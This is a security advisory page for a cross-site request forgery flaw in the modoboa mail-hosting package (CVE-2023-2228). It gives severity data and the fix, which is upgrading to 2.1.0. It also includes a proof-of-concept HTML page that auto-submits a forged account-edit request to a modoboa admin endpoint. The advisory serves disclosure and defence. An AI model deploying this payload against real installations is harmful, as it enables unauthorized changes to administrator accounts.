Cross-site Request Forgery (CSRF) Affecting modoboa package, versions [,2.1.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.11% (46th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MODOBOA-5457857
  • published23 Apr 2023
  • disclosed23 Apr 2023
  • creditmemmedrehimzade

Introduced: 23 Apr 2023

CVE-2023-2228  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade modoboa to version 2.1.0 or higher.

Overview

modoboa is a Mail hosting made simple

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) in edit operations.

PoC

  1. Login as admin.
  2. Try to edit admin accounts (example id=4)
  3. Open the following file in the browser:
<!DOCTYPE html> <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://demo.modoboa.org/admin/accounts/4/edit/"> <input type="hidden" name="active_tab" value="default" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

References

CVSS Scores

version 3.1